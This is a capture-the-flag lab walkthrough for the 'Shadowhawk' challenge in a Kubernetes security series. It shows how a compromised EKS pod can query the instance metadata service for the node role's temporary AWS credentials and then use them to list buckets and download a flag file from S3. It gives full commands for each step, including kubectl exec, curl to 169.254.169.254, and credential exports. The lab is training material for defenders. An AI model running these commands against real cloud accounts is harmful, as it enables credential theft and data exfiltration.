Skip to content

Shadowhawk Challenge

The Shadowhawk challenge requires you to find a flag located in the AWS Simple Storage Service (S3). Unfortunately, the kubeace-maverick IAM user does not have permissions to the AWS S3 API. Without direct access to S3, you will need to use the AWS Instance Metadata Service IMDS to escalate your AWS permissions and gain access to the flag.

Pod Permission Inheritance

Cloud managed Kubernetes services (AWS EKS, Azure AKS, and Google's GKE) typically create Kubernetes node(s) using the cloud provider's virtual machine service. Each node usually needs cloud permissions to read private container images and create network interfaces, load balancers, and other network components for connecting Kubernetes ingress and service resources. These permissions can be granted to the cloud virtual machine using an AWS IAM Role, Azure Managed Identity, or Google Service account attached to the virtual machine. It is important to realize that pods running on the node also inherit these permissions.

Pods running on the node may also need access to cloud resources such as storage, secrets, and backend databases. These permissions are often granted to the node's service account, which means that any pod running on the node inherits all of these permissions.

Attackers gaining access to an EKS cluster will attempt to discover service account credentials using the Instance Metadata API attacker technique. By default, this technique can allow a pod running on the node to communicate with the node's instance metadata service (IMDS), retrieve temporary instance profile credentials, and potentially escalate permissions.

  1. Using your Terminal, verify that kubeace-maverick IAM user does not have access to list the S3 buckets in the AWS account hosting the EKS cluster. What error message is returned?

    Hint

    Run aws s3api list-buckets command to list the S3 buckets in the AWS account.

    aws s3api list-buckets
    
    Answer

    The list buckets command will return an unauthorized error because the kubeace-maverick IAM user does not have access to list the S3 buckets in the account.

    Expected Output

    An error occurred (AccessDenied) when calling the ListBuckets operation: User: arn:aws:iam::123456789012:user/kubeace-maverick-randomid is not authorized to perform: s3:ListAllMyBuckets because no identity-based policy allows the s3:ListAllMyBuckets action
    
  2. Given a scenario where the ui pod is compromised, an attacker can use the Instance Metadata API attacker technique to obtain temporary credentials from the node. Use the kubectl exec command to obtain a shell on the ui pod and exfiltrate credentials from the node's instance metadata service (IMDS). What is the name of the IAM role attached to the Kubernetes node? What IMDS endpoint can read temporary credentials for the IAM role?

    Hint
    • List the pods running in the hth namespace. Make a note of the ui pod's name, as you will need this in the next step.

      kubectl get pods -n hth
      

      Expected Output

      NAME            READY   STATUS    RESTARTS   AGE
      api-randomid    1/1     Running   0          2d21h
      ui-randomid     1/1     Running   0          2d21h
      
    • Use the kubectl exec command to obtain a shell on the ui pod.

      kubectl exec --stdin --tty -n hth ENTER_UI_POD_NAME -- /bin/bash
      

      Expected Output

      root@ui-randomid:/#
      
    • Once inside the pod, query the IMDS endpoint (169.254.169.254) to view the list of IAM roles with security credentials on the node.

      curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ && echo;
      
    • Use the role's name to view the role's temporary security credentials. Make a note of the AccessKeyId, SecretAccessKey, and Token values for the next step.

      curl http://169.254.169.254/latest/meta-data/iam/security-credentials/?????/ && echo;
      

      Expected Output

      {
        ...
        "Type" : "AWS-HMAC",
        "AccessKeyId" : "?????",
        "SecretAccessKey" : "?????",
        "Token" : "?????",
        ...
      }
      
    • Run the following command to exit the shell and return to your local machine.

      exit
      
    Answer

    The AWS IAM Role attached to the Kubernetes node is hth-node-role-randomid. Which tells you that the command to obtain temporary credentials is...

    curl http://169.254.169.254/latest/meta-data/iam/security-credentials/hth-node-role-randomid/
    

Pod Privilege Escalation

With the Kubernetes node's temporary instance profile credentials in hand, use those credentials to exfiltrate the Shadowhawk flag from S3. Open a new Terminal on your machine and set the required AWS CLI environment variables to use the node's temporary credentials. Then, use the AWS CLI to find the flag.

  1. Set the required AWS CLI environment variables to use the node's temporary credentials. What is the name of the S3 bucket that contains the shadowhawk flag.

    Hint
    • Make sure you open a new Terminal session. Then, set each of the following environment variables to the configure the new Terminal session. Replace the NODE_ROLE_ACCESS_KEY_ID, NODE_ROLE_SECRET_ACCESS_KEY, and NODE_ROLE_SESSION_TOKEN placeholders with the values obtained from the previous step.

      export AWS_ACCESS_KEY_ID=ENTER_NODE_ROLE_ACCESS_KEY_ID
      export AWS_SECRET_ACCESS_KEY=ENTER_NODE_ROLE_SECRET_ACCESS_KEY
      export AWS_SESSION_TOKEN=ENTER_NODE_ROLE_SESSION_TOKEN
      export AWS_DEFAULT_REGION=us-west-2
      
    • Run the aws sts get-caller-identity command to verify you have properly configured the IAM role's temporary credentials. The output should show you are authenticating as the node's EC2 instance profile role.

      aws sts get-caller-identity
      

      Expected Output

      {
        "UserId": "AROASZY2ZSU65B7QQKFEP:i-0304eb3fda5d5c44d",
        "Account": "123456789012",
        "Arn": "arn:aws:sts::123456789012:assumed-role/hth-node-role-random-id/i-0304eb3fda5d5c44d"
      }
      
    • List all of the S3 buckets in the account that contain the keyword hth. The output will show an audit logs bucket alongside an hth bucket containing the shadowhawk flag.

      aws s3api list-buckets | grep "hth"
      

      Expected Output

      "Name": "hth-audit-logs-randomid",
      "Name": "?????",
      
    Answer

    The S3 bucket that contains the shadowhawk flag is hth-randomid.

    Expected Output

    "Name": "hth-randomid",
    
  2. List the objects in the S3 bucket and exfiltrate the object that contains the shadowhawk flag.

    Hint
    • Use the aws s3api list-objects command to list the objects in the S3 bucket. The output will show the object that contains the flag.

      aws s3api list-objects --bucket ????? | jq '.Contents[].Key'
      

      Expected Output

      "flightplans/cascadia-explorer.txt"
      "flightplans/ny-la-express.txt"
      "?????/?????"
      "flightplans/thames-to-seine.txt"
      "pilots/pilots.csv"
      
    • Use the aws s3api get-object command to copy the object that contains the flag to your local file system.

      aws s3api get-object --bucket ????? --key ????? /path/to/your/downloads/?????.txt
      

      Expected Output

      {
        "AcceptRanges": "bytes",
        "LastModified": "2024-10-30T18:00:03+00:00",
        "ContentLength": 1124,
        "ETag": "\"77f6f010d81c99754efa3acc70d4b35d\"",
        "ContentType": "application/octet-stream",
        "ServerSideEncryption": "AES256",
        "Metadata": {},
        "TagCount": 3
      }
      
    • Open the file to find the shadowhawk flag.

    Answer
    • The command to download the object that contains the shadowhawk flag is...

      aws s3api get-object --bucket hth-randomid --key flightplans/shadowhawk.txt ~/Downloads/shadowhawk.txt
      
    • Open the file and find the Startup Code line, which contains the flag.

      Expected Output

      Startup Code: hth{?????}
      

Next Challenge

Congratulations! You have identified a privilege escalation opportunity using the Instance Metadata API attacker technique and exfiltrated the Shadowhawk flag from the compromised AWS account.

Before you move on to the next challenge, make sure you clear the environment variables that are using the node's temporary credentials. This can be done by closing your Terminal or running the following unset command.

unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN

Continue to the API Key Challenge to learn how Kubernetes secrets are attached to a pod.